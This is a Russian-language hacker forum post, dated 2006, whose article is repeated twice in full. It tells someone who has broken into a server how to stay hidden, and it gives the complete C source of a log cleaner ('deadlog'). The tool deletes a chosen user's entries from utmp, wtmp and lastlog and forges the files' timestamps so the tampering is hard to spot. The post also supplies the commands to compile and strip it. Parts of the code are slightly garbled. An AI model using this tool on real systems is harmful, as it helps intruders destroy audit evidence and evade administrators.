rent0n
03.03.2006, 21:44
Чистим логи
Сервак порутан, что дальше? Как что, спросите вы, ставить прокси, irc и т.п., смотреть, что тут есть интересного. Это все так. НО! Нельзя забывать о собственной безопасности. Первый шаг для того, чтобы остаться незамеченным на взломнном сервере – чистка логов. Если вы будете светиться в выводах команд w, who, last и некоторых других – долго вы на сервере не продержитесь. Конечно, можно протроянить систему, заменив эти утилиты своими или загрузить модули ядра, но первоначальное проникновение в систему так или иначе будет занесено в лог-файлы. А это не есть гуд. Безусловно, простейший способ очистки логов – команда типа:
cat /dev/null > /var/log/wtmp и т.п.
Действует отлично. Но опять-таки, есди администратор сервера не идиот, то он по выводу w поймет, что содержимое файла было удалено, а т.к. этот логфайл (я имею ввиду /var/run/utmp) доступен на запись лишь руту, то значит в систему проник хакер, получивший к тому же привилегии суперпользователя.
Для очистки логов уже написаны десятки программ(vanish тот же), но написать лог-клинер самому – приятная и полезная задача. Я покажу вам небольшую программу(всего чуть более 100 строк), которая не только чистит логи, но и восстанавливает дату изменения файла в соответствии с предыдущей записью(т.е. не получится так, что файл изменен 21.12.05, а последний пользователь зарегистрировался в системе 20.12.05). Часть программы по очистке файла /var/log/lastlog я позаимствовал из какого-то простенького клинера, найденного в инете.
Итак, открываем kate(я люблю использовать этот текстовый редактор, если работаю в иксах, к тому же прямо из него можно вызвать shell, т.е. компилишь исходник, гдядя на код, ну плюс мелочи типа подсветки синтаксиса :), и втыкаем в нижеприведенный исходник, тем более много комментариев, все должно быть понятно. Если будете тестить на лосалхосте, то, поскольку поиск записей в файле ведется по 3-м подстрокам, а при обычном локальном входе в систему поле host будет пустым, то сделайте так:
ssh 127.0.0.1
и команда w покажет, что вы вошли с localhost. Теперь можно приниматься непосредственно за исходник.
/* Это утилита для удаления записей из файлов /var/log/wtmp, /var/run/utmp и /var/log/lastlog
* Программа работает на FreeBSD и Linux. Кроме очистки логов переписывается время изменения файла
* в соответствии с предыдущей записью.
*/
#include <stdio.h> // Стандартная библиотека ввода-вывода
#include <unistd.h> // Тут все системные вызовы
#include <fcntl.h> // Операции с файлами(open(...))
#include <sys/types.h> // Тут определены типы данных
#include <pwd.h> // Функция getpwnam(), чтобы узнать uid пользователя
#include <utmp.h> // Тут описаны структуры utmp и lastlog
#include <lastlog.h> // Для совместимости с BSD
#include <utime.h> // функция utime
#include <time.h> // Структура timeval
// Если не определены WTMP_FILE и UTMP_FILE, то определяем их
#ifndef WTMP_FILE
#define WTMP_FILE "/var/log/wtmp"
#endif
#ifndef UTMP_FILE
#define UTMP_FILE "/var/run/utmp"
#endif
#define LASTLOG_FILE "/var/log/lastlog"
// Глобальные переменные
struct timeval tmv;
// Функция удаления записей из /var/log/wtmp и /var/run/utmp. Принимает 4 параметра: имя очищаемого файла, имя юзера, название хоста и терминал.
void clean_uwtmp(char *filename,char *arg_name,char *arg_host,char *arg_terminal)
{
struct utmp my_utmp; // Определяем структуру
int fd,fd_tmp; // Дескрипторы файлов
int size; размер структуры
size=sizeof(struct utmp);
// Открываем файл логов только на чтение
if((fd=open(filename,O_RDONLY)) < 0){
perror("open");
exit(1);
}
// Создаем временный файл и открываем его на запись
if((fd_tmp=open("/tmp/uwtmp.tmp",O_CREAT|O_WRONLY)) < 0){
perror("open");
exit(1);
}
/* За 1 проход цикла считываем 1 запись в переменную my_utmp.
* Если эта запись не содержит нужных данных, пишем ее в tmp-файл
* Потом заменяем tmp-файлом исходный файл.
*/
while(read(fd,&my_utmp,size) == size){
if((strncmp(my_utmp.ut_name,arg_name,sizeof(my_utm p.ut_name))) || (strncmp(my_utmp.ut_host,arg_host,sizeof(my_utmp.u t_host))) || (strncmp(my_utmp.ut_line,arg_terminal,sizeof(my_ut mp.ut_line)))){
// Проверяем время создания записи. Время пользователя,
// вошедшего в систему перед вами сохраняется
// в структуре tmv
if (tmv.tv_sec < my_utmp.ut_tv.tv_sec)
tmv.tv_sec = my_utmp.ut_tv.tv_sec;
// Пишем во временный файл
write(fd_tmp,&my_utmp,size);
}
}
// Закрываем открытые файлы
close(fd_tmp);
close(fd);
}
// Функция удаления записей из /var/log/lastlog.
void clean_lastlog(char *filename,char *arg_name)
{
struct lastlog my_lastlog; // структура типа lastlog
struct passwd *pwd; // Указатель на структуру passwd
int fd,fd_tmp;//Дескрипторы файлов
int size;// размер структуры
size = sizeof(struct lastlog);
// Определяем uid пользователя
if((pwd = getpwnam(arg_name)) < 0){
perror("getpwnam");
exit(1);
}
// Открываем файл на чтение/запись
if((fd = open(filename,O_RDWR)) < 0){
perror("open");
exit(1);
}
// Передвигаем указатель на нашу запись
lseek(fd,(long)pwd->pw_uid*size,0);
// Обнуляем структуру с искомыми записями
bzero((char*)&my_lastlog,size);
// Записываем в файл измененную структуру
write(fd,(char*)&my_lastlog,size);
close(fd);
}
// Функция, меняющая время создания файла, заданного в ее параметрах
void set_mod_time(char *filename)
{
struct utimbuf my_time;
if (filename == UTMP_FILE){
// Тут мы удаляем исходный файл логов, а на его место
// помещаем наш tmp-файл. После устанавливаем права доступа
system("rm /var/run/utmp");
system("mv /tmp/uwtmp.tmp /var/run/utmp");
system("chmod 644 /var/run/utmp");
}
if (filename == WTMP_FILE){
// Тут мы удаляем исходный файл логов, а на его место
// помещаем наш tmp-файл. После устанавливаем права доступа
system("rm /var/log/wtmp");
system("mv /tmp/uwtmp.tmp /var/log/wtmp");
system("chmod 644 /var/log/wtmp");
}
// Модифицируем время доступа к файлам логов.
my_time.actime = tmv.tv_sec;
my_time.modtime = tmv.tv_sec;
utime(filename,&my_time);
}
int main(int argc,char **argv)
{
if(argc < 4){
printf("******************************************\n");
printf("Usage: %s <name> <host> <terminal>\n",argv[0]);
printf("Options:\n");
printf("<name>: user to hide\n");
printf("<host>: host to hide\n");
printf("<terminal>: terminal to hide\n");
printf("Written by rent0n\n");
printf("*******************************************\n");
exit(1);
}
// Поочередно чистим файлы логов
clean_uwtmp(UTMP_FILE,argv[1],argv[2],argv[3]);
set_mod_time(UTMP_FILE);
printf("utmp cleaned!\n");
clean_uwtmp(WTMP_FILE,argv[1],argv[2],argv[3]);
set_mod_time(WTMP_FILE);
printf("wtmp cleaned!\n");
clean_lastlog(LASTLOG_FILE,argv[1]);
set_mod_time(LASTLOG_FILE);
printf("lastlog cleaned!\n");
return 0;
}
Компилируем программу: gcc deadlog.c -o deadlog
Можно уменьшить размер путем удаления ненужной инфы из файла:
strip deadlog
После этого размер составляет ~4кБ.
В этой статье я рассказал лишь о бинарных файлах логов. Но кроме них еще есть и текстовые файлы, куда также заносится информация о входах пользователей в систему.
На память: команды w, who берут инфу из файла /var/run/utmp
команда last – из /var/log/wtmp
команда lastlog – из файла /var/log/lastlog
Все...
Сервак порутан, что дальше? Как что, спросите вы, ставить прокси, irc и т.п., смотреть, что тут есть интересного. Это все так. НО! Нельзя забывать о собственной безопасности. Первый шаг для того, чтобы остаться незамеченным на взломнном сервере – чистка логов. Если вы будете светиться в выводах команд w, who, last и некоторых других – долго вы на сервере не продержитесь. Конечно, можно протроянить систему, заменив эти утилиты своими или загрузить модули ядра, но первоначальное проникновение в систему так или иначе будет занесено в лог-файлы. А это не есть гуд. Безусловно, простейший способ очистки логов – команда типа:
cat /dev/null > /var/log/wtmp и т.п.
Действует отлично. Но опять-таки, есди администратор сервера не идиот, то он по выводу w поймет, что содержимое файла было удалено, а т.к. этот логфайл (я имею ввиду /var/run/utmp) доступен на запись лишь руту, то значит в систему проник хакер, получивший к тому же привилегии суперпользователя.
Для очистки логов уже написаны десятки программ(vanish тот же), но написать лог-клинер самому – приятная и полезная задача. Я покажу вам небольшую программу(всего чуть более 100 строк), которая не только чистит логи, но и восстанавливает дату изменения файла в соответствии с предыдущей записью(т.е. не получится так, что файл изменен 21.12.05, а последний пользователь зарегистрировался в системе 20.12.05). Часть программы по очистке файла /var/log/lastlog я позаимствовал из какого-то простенького клинера, найденного в инете.
Итак, открываем kate(я люблю использовать этот текстовый редактор, если работаю в иксах, к тому же прямо из него можно вызвать shell, т.е. компилишь исходник, гдядя на код, ну плюс мелочи типа подсветки синтаксиса :), и втыкаем в нижеприведенный исходник, тем более много комментариев, все должно быть понятно. Если будете тестить на лосалхосте, то, поскольку поиск записей в файле ведется по 3-м подстрокам, а при обычном локальном входе в систему поле host будет пустым, то сделайте так:
ssh 127.0.0.1
и команда w покажет, что вы вошли с localhost. Теперь можно приниматься непосредственно за исходник.
/* Это утилита для удаления записей из файлов /var/log/wtmp, /var/run/utmp и /var/log/lastlog
* Программа работает на FreeBSD и Linux. Кроме очистки логов переписывается время изменения файла
* в соответствии с предыдущей записью.
*/
#include <stdio.h> // Стандартная библиотека ввода-вывода
#include <unistd.h> // Тут все системные вызовы
#include <fcntl.h> // Операции с файлами(open(...))
#include <sys/types.h> // Тут определены типы данных
#include <pwd.h> // Функция getpwnam(), чтобы узнать uid пользователя
#include <utmp.h> // Тут описаны структуры utmp и lastlog
#include <lastlog.h> // Для совместимости с BSD
#include <utime.h> // функция utime
#include <time.h> // Структура timeval
// Если не определены WTMP_FILE и UTMP_FILE, то определяем их
#ifndef WTMP_FILE
#define WTMP_FILE "/var/log/wtmp"
#endif
#ifndef UTMP_FILE
#define UTMP_FILE "/var/run/utmp"
#endif
#define LASTLOG_FILE "/var/log/lastlog"
// Глобальные переменные
struct timeval tmv;
// Функция удаления записей из /var/log/wtmp и /var/run/utmp. Принимает 4 параметра: имя очищаемого файла, имя юзера, название хоста и терминал.
void clean_uwtmp(char *filename,char *arg_name,char *arg_host,char *arg_terminal)
{
struct utmp my_utmp; // Определяем структуру
int fd,fd_tmp; // Дескрипторы файлов
int size; размер структуры
size=sizeof(struct utmp);
// Открываем файл логов только на чтение
if((fd=open(filename,O_RDONLY)) < 0){
perror("open");
exit(1);
}
// Создаем временный файл и открываем его на запись
if((fd_tmp=open("/tmp/uwtmp.tmp",O_CREAT|O_WRONLY)) < 0){
perror("open");
exit(1);
}
/* За 1 проход цикла считываем 1 запись в переменную my_utmp.
* Если эта запись не содержит нужных данных, пишем ее в tmp-файл
* Потом заменяем tmp-файлом исходный файл.
*/
while(read(fd,&my_utmp,size) == size){
if((strncmp(my_utmp.ut_name,arg_name,sizeof(my_utm p.ut_name))) || (strncmp(my_utmp.ut_host,arg_host,sizeof(my_utmp.u t_host))) || (strncmp(my_utmp.ut_line,arg_terminal,sizeof(my_ut mp.ut_line)))){
// Проверяем время создания записи. Время пользователя,
// вошедшего в систему перед вами сохраняется
// в структуре tmv
if (tmv.tv_sec < my_utmp.ut_tv.tv_sec)
tmv.tv_sec = my_utmp.ut_tv.tv_sec;
// Пишем во временный файл
write(fd_tmp,&my_utmp,size);
}
}
// Закрываем открытые файлы
close(fd_tmp);
close(fd);
}
// Функция удаления записей из /var/log/lastlog.
void clean_lastlog(char *filename,char *arg_name)
{
struct lastlog my_lastlog; // структура типа lastlog
struct passwd *pwd; // Указатель на структуру passwd
int fd,fd_tmp;//Дескрипторы файлов
int size;// размер структуры
size = sizeof(struct lastlog);
// Определяем uid пользователя
if((pwd = getpwnam(arg_name)) < 0){
perror("getpwnam");
exit(1);
}
// Открываем файл на чтение/запись
if((fd = open(filename,O_RDWR)) < 0){
perror("open");
exit(1);
}
// Передвигаем указатель на нашу запись
lseek(fd,(long)pwd->pw_uid*size,0);
// Обнуляем структуру с искомыми записями
bzero((char*)&my_lastlog,size);
// Записываем в файл измененную структуру
write(fd,(char*)&my_lastlog,size);
close(fd);
}
// Функция, меняющая время создания файла, заданного в ее параметрах
void set_mod_time(char *filename)
{
struct utimbuf my_time;
if (filename == UTMP_FILE){
// Тут мы удаляем исходный файл логов, а на его место
// помещаем наш tmp-файл. После устанавливаем права доступа
system("rm /var/run/utmp");
system("mv /tmp/uwtmp.tmp /var/run/utmp");
system("chmod 644 /var/run/utmp");
}
if (filename == WTMP_FILE){
// Тут мы удаляем исходный файл логов, а на его место
// помещаем наш tmp-файл. После устанавливаем права доступа
system("rm /var/log/wtmp");
system("mv /tmp/uwtmp.tmp /var/log/wtmp");
system("chmod 644 /var/log/wtmp");
}
// Модифицируем время доступа к файлам логов.
my_time.actime = tmv.tv_sec;
my_time.modtime = tmv.tv_sec;
utime(filename,&my_time);
}
int main(int argc,char **argv)
{
if(argc < 4){
printf("******************************************\n");
printf("Usage: %s <name> <host> <terminal>\n",argv[0]);
printf("Options:\n");
printf("<name>: user to hide\n");
printf("<host>: host to hide\n");
printf("<terminal>: terminal to hide\n");
printf("Written by rent0n\n");
printf("*******************************************\n");
exit(1);
}
// Поочередно чистим файлы логов
clean_uwtmp(UTMP_FILE,argv[1],argv[2],argv[3]);
set_mod_time(UTMP_FILE);
printf("utmp cleaned!\n");
clean_uwtmp(WTMP_FILE,argv[1],argv[2],argv[3]);
set_mod_time(WTMP_FILE);
printf("wtmp cleaned!\n");
clean_lastlog(LASTLOG_FILE,argv[1]);
set_mod_time(LASTLOG_FILE);
printf("lastlog cleaned!\n");
return 0;
}
Компилируем программу: gcc deadlog.c -o deadlog
Можно уменьшить размер путем удаления ненужной инфы из файла:
strip deadlog
После этого размер составляет ~4кБ.
В этой статье я рассказал лишь о бинарных файлах логов. Но кроме них еще есть и текстовые файлы, куда также заносится информация о входах пользователей в систему.
На память: команды w, who берут инфу из файла /var/run/utmp
команда last – из /var/log/wtmp
команда lastlog – из файла /var/log/lastlog
Все...